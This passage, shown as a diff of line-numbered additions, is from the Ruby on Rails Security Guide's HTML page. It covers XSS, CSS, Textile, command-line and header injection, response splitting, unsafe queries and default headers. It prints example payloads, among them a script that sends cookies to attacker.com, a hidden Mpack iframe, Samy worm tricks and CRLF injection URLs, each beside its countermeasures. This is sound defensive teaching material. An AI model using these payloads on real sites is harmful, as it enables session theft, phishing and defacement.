+ <pre class="brush: plain; gutter: false; toolbar: false">
618
+ &lt;script&gt;document.write(document.cookie);&lt;/script&gt;
619
+
620
+ </pre>
621
+ </div>
622
+ <p>For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL <a href="http://www.attacker.com/">http://www.attacker.com/</a> plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.</p><div class="code_container">
623
+ <pre class="brush: xml; gutter: false; toolbar: false">
624
+ &lt;script&gt;document.write('&lt;img src="http://www.attacker.com/' + document.cookie + '"&gt;');&lt;/script&gt;
625
+
626
+ </pre>
627
+ </div>
628
+ <p>The log files on <a href="http://www.attacker.com">www.attacker.com</a> will read like this:</p><div class="code_container">
629
+ <pre class="brush: plain; gutter: false; toolbar: false">
630
+ GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
631
+
632
+ </pre>
633
+ </div>
634
+ <p>You can mitigate these attacks (in the obvious way) by adding the <a href="http://dev.rubyonrails.org/ticket/8895">httpOnly</a> flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies <a href="http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/">will still be visible using Ajax</a>, though.</p><h6 id="defacement">7.3.2.2 Defacement</h6><p>With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:</p><div class="code_container">
635
+ <pre class="brush: xml; gutter: false; toolbar: false">
636
+ &lt;iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"&gt;&lt;/iframe&gt;
637
+
638
+ </pre>
639
+ </div>
640
+ <p>This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the <a href="http://isc.sans.org/diary.html?storyid=3015">Mpack attack framework</a>. Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed.</p><p>A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.</p><p>Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":</p><div class="code_container">
641
+ <pre class="brush: plain; gutter: false; toolbar: false">
642
+ http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--&gt;
643
+ &lt;script src=http://www.securitylab.ru/test/sc.js&gt;&lt;/script&gt;&lt;!--
644
+
645
+ </pre>
646
+ </div>
647
+ <h6 id="html/javascript-injection-countermeasures">7.3.2.3 Countermeasures</h6><p><em>It is very important to filter malicious input, but it is also important to escape the output of the web application</em>.</p><p>Especially for XSS, it is important to do <em>whitelist input filtering instead of blacklist</em>. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.</p><p>Imagine a blacklist deletes "script" from the user input. Now the attacker injects "&lt;scrscriptipt&gt;", and after the filter, "&lt;script&gt;" remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:</p><div class="code_container">
648
+ <pre class="brush: ruby; gutter: false; toolbar: false">
649
+ strip_tags("some&lt;&lt;b&gt;script&gt;alert('hello')&lt;&lt;/b&gt;/script&gt;")
650
+
651
+ </pre>
652
+ </div>
653
+ <p>This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why a whitelist approach is better, using the updated Rails 2 method sanitize():</p><div class="code_container">
654
+ <pre class="brush: ruby; gutter: false; toolbar: false">
655
+ tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
656
+ s = sanitize(user_input, tags: tags, attributes: %w(href title))
657
+
658
+ </pre>
659
+ </div>
660
+ <p>This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.</p><p>As a second step, <em>it is good practice to escape all output of the application</em>, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). <em>Use <code>escapeHTML()</code> (or its alias <code>h()</code>) method</em> to replace the HTML input characters &amp;, ", &lt;, &gt; by their uninterpreted representations in HTML (<code>&amp;amp;</code>, <code>&amp;quot;</code>, <code>&amp;lt</code>;, and <code>&amp;gt;</code>). However, it can easily happen that the programmer forgets to use it, so _it is recommended to use the SafeErb gem. SafeErb reminds you to escape strings from external sources.</p><h6 id="obfuscation-and-encoding-injection">7.3.2.4 Obfuscation and Encoding Injection</h6><p>Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:</p><div class="code_container">
661
+ <pre class="brush: plain; gutter: false; toolbar: false">
662
+ &lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
663
+ &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;
664
+
665
+ </pre>
666
+ </div>
667
+ <p>This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the <a href="https://hackvertor.co.uk/public">Hackvertor</a>. Rails' sanitize() method does a good job to fend off encoding attacks.</p><h5 id="examples-from-the-underground">7.3.3 Examples from the Underground</h5><p><em>In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors.</em></p><p>The following is an excerpt from the <a href="http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&amp;tabid=1">Js.Yamanner@m</a> Yahoo! Mail <a href="http://groovin.net/stuff/yammer.txt">worm</a>. It appeared on June 11, 2006 and was the first webmail interface worm:</p><div class="code_container">
668
+ <pre class="brush: plain; gutter: false; toolbar: false">
669
+ &lt;img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
670
+ target=""onload="var http_request = false; var Email = '';
671
+ var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
672
+
673
+ </pre>
674
+ </div>
675
+ <p>The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.</p><p>Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on <a href="http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/">Rosario Valotta's paper</a>. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.</p><p>In December 2006, 34,000 actual user names and passwords were stolen in a <a href="http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html">MySpace phishing attack</a>. The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.</p><p>The MySpace Samy worm will be discussed in the CSS Injection section.</p><h4 id="css-injection">7.4 CSS Injection</h4><div class="info"><p><em>CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.</em></p></div><p>CSS Injection is explained best by a well-known worm, the <a href="http://namb.la/popular/tech.html">MySpace Samy worm</a>. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.</p><p>MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:</p><div class="code_container">
676
+ <pre class="brush: xml; gutter: false; toolbar: false">
677
+ &lt;div style="background:url('javascript:alert(1)')"&gt;
678
+
679
+ </pre>
680
+ </div>
681
+ <p>So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.</p><div class="code_container">
682
+ <pre class="brush: xml; gutter: false; toolbar: false">
683
+ &lt;div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"&gt;
684
+
685
+ </pre>
686
+ </div>
687
+ <p>The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word "innerHTML":</p><div class="code_container">
688
+ <pre class="brush: plain; gutter: false; toolbar: false">
689
+ alert(eval('document.body.inne' + 'rHTML'));
690
+
691
+ </pre>
692
+ </div>
693
+ <p>The next problem was MySpace filtering the word "javascript", so the author used "java&lt;NEWLINE&gt;script" to get around this:</p><div class="code_container">
694
+ <pre class="brush: xml; gutter: false; toolbar: false">
695
+ &lt;div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')"&gt;
696
+
697
+ </pre>
698
+ </div>
699
+ <p>Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.</p><p>In the end, he got a 4 KB worm, which he injected into his profile page.</p><p>The <a href="http://www.securiteam.com/securitynews/5LP051FHPE.html">moz-binding</a> CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).</p><h5 id="css-injection-countermeasures">7.4.1 Countermeasures</h5><p>This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, it may be hard to find a good whitelist CSS filter. <em>If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application</em>. Use Rails' <code>sanitize()</code> method as a model for a whitelist CSS filter, if you really need one.</p><h4 id="textile-injection">7.5 Textile Injection</h4><p>If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. <a href="http://redcloth.org/">RedCloth</a> is such a language for Ruby, but without precautions, it is also vulnerable to XSS.</p><p>For example, RedCloth translates <code>_test_</code> to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the <a href="http://www.redcloth.org">all-new version 4</a> that removed serious bugs. However, even that version has <a href="http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html">some security bugs</a>, so the countermeasures still apply. Here is an example for version 3.0.4:</p><div class="code_container">
700
+ <pre class="brush: ruby; gutter: false; toolbar: false">
701
+ RedCloth.new('&lt;script&gt;alert(1)&lt;/script&gt;').to_html
702
+ # =&gt; "&lt;script&gt;alert(1)&lt;/script&gt;"
703
+
704
+ </pre>
705
+ </div>
706
+ <p>Use the :filter_html option to remove HTML which was not created by the Textile processor.</p><div class="code_container">
707
+ <pre class="brush: ruby; gutter: false; toolbar: false">
708
+ RedCloth.new('&lt;script&gt;alert(1)&lt;/script&gt;', [:filter_html]).to_html
709
+ # =&gt; "alert(1)"
710
+
711
+ </pre>
712
+ </div>
713
+ <p>However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:</p><div class="code_container">
714
+ <pre class="brush: ruby; gutter: false; toolbar: false">
715
+ RedCloth.new("&lt;a href='javascript:alert(1)'&gt;hello&lt;/a&gt;", [:filter_html]).to_html
716
+ # =&gt; "&lt;p&gt;&lt;a href="javascript:alert(1)"&gt;hello&lt;/a&gt;&lt;/p&gt;"
717
+
718
+ </pre>
719
+ </div>
720
+ <h5 id="textile-injection-countermeasures">7.5.1 Countermeasures</h5><p>It is recommended to <em>use RedCloth in combination with a whitelist input filter</em>, as described in the countermeasures against XSS section.</p><h4 id="ajax-injection">7.6 Ajax Injection</h4><div class="note"><p><em>The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view.</em></p></div><p>If you use the <a href="https://rubygems.org/gems/in_place_editing">in_place_editor plugin</a>, or actions that return a string, rather than rendering a view, <em>you have to escape the return value in the action</em>. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.</p><h4 id="command-line-injection">7.7 Command Line Injection</h4><div class="note"><p><em>Use user-supplied command line parameters with caution.</em></p></div><p>If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and <code>command</code>. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).</p><p>A countermeasure is to <em>use the <code>system(command, parameters)</code> method which passes command line parameters safely</em>.</p><div class="code_container">
721
+ <pre class="brush: ruby; gutter: false; toolbar: false">
722
+ system("/bin/echo","hello; rm *")
723
+ # prints "hello; rm *" and does not delete files
724
+
725
+ </pre>
726
+ </div>
727
+ <h4 id="header-injection">7.8 Header Injection</h4><div class="warning"><p><em>HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting.</em></p></div><p>HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. <em>Remember to escape these header fields, too.</em> For example when you display the user agent in an administration area.</p><p>Besides that, it is <em>important to know what you are doing when building response headers partly based on user input.</em> For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address:</p><div class="code_container">
728
+ <pre class="brush: ruby; gutter: false; toolbar: false">
729
+ redirect_to params[:referer]
730
+
731
+ </pre>
732
+ </div>
733
+ <p>What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:</p><div class="code_container">
734
+ <pre class="brush: plain; gutter: false; toolbar: false">
735
+ http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
736
+
737
+ </pre>
738
+ </div>
739
+ <p>And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:</p><div class="code_container">
740
+ <pre class="brush: plain; gutter: false; toolbar: false">
741
+ http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
742
+ http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
743
+
744
+ </pre>
745
+ </div>
746
+ <p>Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.</p><div class="code_container">
747
+ <pre class="brush: plain; gutter: false; toolbar: false">
748
+ HTTP/1.1 302 Moved Temporarily
749
+ (...)
750
+ Location: http://www.malicious.tld
751
+
752
+ </pre>
753
+ </div>
754
+ <p>So <em>attack vectors for Header Injection are based on the injection of CRLF characters in a header field.</em> And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the <code>redirect_to</code> method. <em>Make sure you do it yourself when you build other header fields with user input.</em></p><h5 id="response-splitting">7.8.1 Response Splitting</h5><p>If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:</p><div class="code_container">
755
+ <pre class="brush: plain; gutter: false; toolbar: false">
756
+ HTTP/1.1 302 Found [First standard 302 response]
757
+ Date: Tue, 12 Apr 2005 22:09:07 GMT
758
+ Location:
Content-Type: text/html
759
+
760
+
761
+ HTTP/1.1 200 OK [Second New response created by attacker begins]
762
+ Content-Type: text/html
763
+
764
+
765
+ &amp;lt;html&amp;gt;&amp;lt;font color=red&amp;gt;hey&amp;lt;/font&amp;gt;&amp;lt;/html&amp;gt; [Arbitary malicious input is
766
+ Keep-Alive: timeout=15, max=100 shown as the redirected page]
767
+ Connection: Keep-Alive
768
+ Transfer-Encoding: chunked
769
+ Content-Type: text/html
770
+
771
+ </pre>
772
+ </div>
773
+ <p>Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. <em>In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.</em></p><h3 id="unsafe-query-generation">8 Unsafe Query Generation</h3><p>Due to the way Active Record interprets parameters in combination with the way
774
+ that Rack parses query parameters it was possible to issue unexpected database
775
+ queries with <code>IS NULL</code> where clauses. As a response to that security issue
776
+ (<a href="https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ">CVE-2012-2660</a>,
777
+ <a href="https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/jILZ34tAHF4/7x0hLH-o0-IJ">CVE-2012-2694</a>
778
+ and <a href="https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2012-2660/rubyonrails-security/c7jT-EeN9eI/L0u4e87zYGMJ">CVE-2013-0155</a>)
779
+ <code>deep_munge</code> method was introduced as a solution to keep Rails secure by default.</p><p>Example of vulnerable code that could be used by attacker, if <code>deep_munge</code>
780
+ wasn't performed is:</p><div class="code_container">
781
+ <pre class="brush: ruby; gutter: false; toolbar: false">
782
+ unless params[:token].nil?
783
+ user = User.find_by_token(params[:token])
784
+ user.reset_password!
785
+ end
786
+
787
+ </pre>
788
+ </div>
789
+ <p>When <code>params[:token]</code> is one of: <code>[]</code>, <code>[nil]</code>, <code>[nil, nil, ...]</code> or
790
+ <code>['foo', nil]</code> it will bypass the test for <code>nil</code>, but <code>IS NULL</code> or
791
+ <code>IN ('foo', NULL)</code> where clauses still will be added to the SQL query.</p><p>To keep rails secure by default, <code>deep_munge</code> replaces some of the values with
792
+ <code>nil</code>. Below table shows what the parameters look like based on <code>JSON</code> sent in
793
+ request:</p>
794
+ <table>
795
+ <thead>
796
+ <tr>
797
+ <th>JSON</th>
798
+ <th>Parameters</th>
799
+ </tr>
800
+ </thead>
801
+ <tbody>
802
+ <tr>
803
+ <td><code>{ "person": null }</code></td>
804
+ <td><code>{ :person =&gt; nil }</code></td>
805
+ </tr>
806
+ <tr>
807
+ <td><code>{ "person": [] }</code></td>
808
+ <td><code>{ :person =&gt; nil }</code></td>
809
+ </tr>
810
+ <tr>
811
+ <td><code>{ "person": [null] }</code></td>
812
+ <td><code>{ :person =&gt; nil }</code></td>
813
+ </tr>
814
+ <tr>
815
+ <td><code>{ "person": [null, null, ...] }</code></td>
816
+ <td><code>{ :person =&gt; nil }</code></td>
817
+ </tr>
818
+ <tr>
819
+ <td><code>{ "person": ["foo", null] }</code></td>
820
+ <td><code>{ :person =&gt; ["foo"] }</code></td>
821
+ </tr>
822
+ </tbody>
823
+ </table>
824
+ <p>It is possible to return to old behaviour and disable <code>deep_munge</code> configuring
825
+ your application if you are aware of the risk and know how to handle it:</p><div class="code_container">
826
+ <pre class="brush: ruby; gutter: false; toolbar: false">
827
+ config.action_dispatch.perform_deep_munge = false
828
+
829
+ </pre>
830
+ </div>
831
+ <h3 id="default-headers">9 Default Headers</h3><p>Every HTTP response from your Rails application receives the following default security headers.</p><div class="code_container">
832
+ <pre class="brush: ruby; gutter: false; toolbar: false">
833
+ config.action_dispatch.default_headers = {
834
+ 'X-Frame-Options' =&gt; 'SAMEORIGIN',
835
+ 'X-XSS-Protection' =&gt; '1; mode=block',
836
+ 'X-Content-Type-Options' =&gt; 'nosniff'
837
+ }
838
+
839
+ </pre>
840
+ </div>
841
+ <p>You can configure default headers in <code>config/application.rb</code>.</p><div class="code_container">
842
+ <pre class="brush: ruby; gutter: false; toolbar: false">
843
+ config.action_dispatch.default_headers = {
844
+ 'Header-Name' =&gt; 'Header-Value',
845
+ 'X-Frame-Options' =&gt; 'DENY'
846
+ }
847
+
848
+ </pre>
849
+ </div>
850
+ <p>Or you can remove them.</p><div class="code_container">
851
+ <pre class="brush: ruby; gutter: false; toolbar: false">
852
+ config.action_dispatch.default_headers.clear
853
+
854
+ </pre>
855
+ </div>
856
+ <p>Here is a list of common headers:</p>
857
+ <ul>
858
+ <li>X-Frame-Options
859
+ <em>'SAMEORIGIN' in Rails by default</em> - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website.</li>
860
+ <li>X-XSS-Protection
861
+ <em>'1; mode=block' in Rails by default</em> - use XSS Auditor and block page if XSS attack is detected. Set it to '0;' if you want to switch XSS Auditor off(useful if response contents scripts from request parameters)</li>
862
+ <li>X-Content-Type-Options
863
+ <em>'nosniff' in Rails by default</em> - stops the browser from guessing the MIME type of a file.</li>
864
+ <li>X-Content-Security-Policy
865
+ <a href="http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html">A powerful mechanism for controlling which sites certain content types can be loaded from</a>
866
+ </li>
867
+ <li>Access-Control-Allow-Origin
868
+ Used to control which sites are allowed to bypass same origin policies and send cross-origin requests.</li>
869
+ <li>Strict-Transport-Security
870
+ <a href="http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security">Used to control if the browser is allowed to only access a site over a secure connection</a>
871
+ </li>
872
+ </ul>
873
+ <h3 id="environmental-security">10 Environmental Security</h3><p>It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. <code>config/database.yml</code>, and your server-side secret, e.g. stored in <code>config/secrets.yml</code>. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.</p><h3 id="additional-resources">11 Additional Resources</h3><p>The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:</p>
874
+ <ul>
875
+ <li>The Ruby on Rails security project posts security news regularly: <a href="http://www.rorsecurity.info">http://www.rorsecurity.info</a>
876
+ </li>
877
+ <li>Subscribe to the Rails security <a href="http://groups.google.com/group/rubyonrails-security">mailing list</a>
878
+ </li>
879
+ <li>
880
+ <a href="http://secunia.com/">Keep up to date on the other application layers</a> (they have a weekly newsletter, too)</li>
881
+ <li>A <a href="http://ha.ckers.org/blog/">good security blog</a> including the <a href="http://ha.ckers.org/xss.html">Cross-Site scripting Cheat Sheet</a>
882
+ </li>
883
+ </ul>
884
+
885
+
886
+ <h3>Feedback</h3>
887
+ <p>
888
+ You're encouraged to help improve the quality of this guide.
889
+ </p>
890
+ <p>
891
+ Please contribute if you see any typos or factual errors.
892
+ To get started, you can read our <a href="http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation">documentation contributions</a> section.
893
+ </p>
894
+ <p>
895
+ You may also find incomplete content, or stuff that is not up to date.
896
+ Please do add any missing documentation for master. Make sure to check
897
+ <a href="http://edgeguides.rubyonrails.org">Edge Guides</a> first to verify
898
+ if the issues are already fixed or not on the master branch.
899
+ Check the <a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a>
900
+ for style and conventions.
901
+ </p>
902
+ <p>
903
+ If for whatever reason you spot something to fix but cannot patch it yourself, please
904
+ <a href="https://github.com/rails/rails/issues">open an issue</a>.
905
+ </p>
906
+ <p>And last but not least, any kind of discussion regarding Ruby on Rails
907
+ documentation is very welcome in the <a href="http://groups.google.com/group/rubyonrails-docs">rubyonrails-docs mailing list</a>.
908
+ </p>
909
+ </div>
910
+ </div>
911
+ </div>
912
+
913
+ <hr class="hide" />
914
+ <div id="footer">
915
+ <div class="wrapper">
916
+ <p>This work is licensed under a <a href="https://creativecommons.org/licenses/by-sa/4.0/">Creative Commons Attribution-ShareAlike 4.0 International</a> License</p>
917
+ <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
918
+
919
+ </div>
920
+ </div>
921
+
922
+ <script type="text/javascript" src="javascripts/jquery.min.js"></script>
923
+ <script type="text/javascript" src="javascripts/responsive-tables.js"></script>
924
+ <script type="text/javascript" src="javascripts/guides.js"></script>
925
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
926
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
927
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
928
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
929
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
930
+ <script type="text/javascript">
931
+ SyntaxHighlighter.all();
932
+ $(guidesIndex.bind);
933
+ </script>
934
+ </body>
935
+ </html>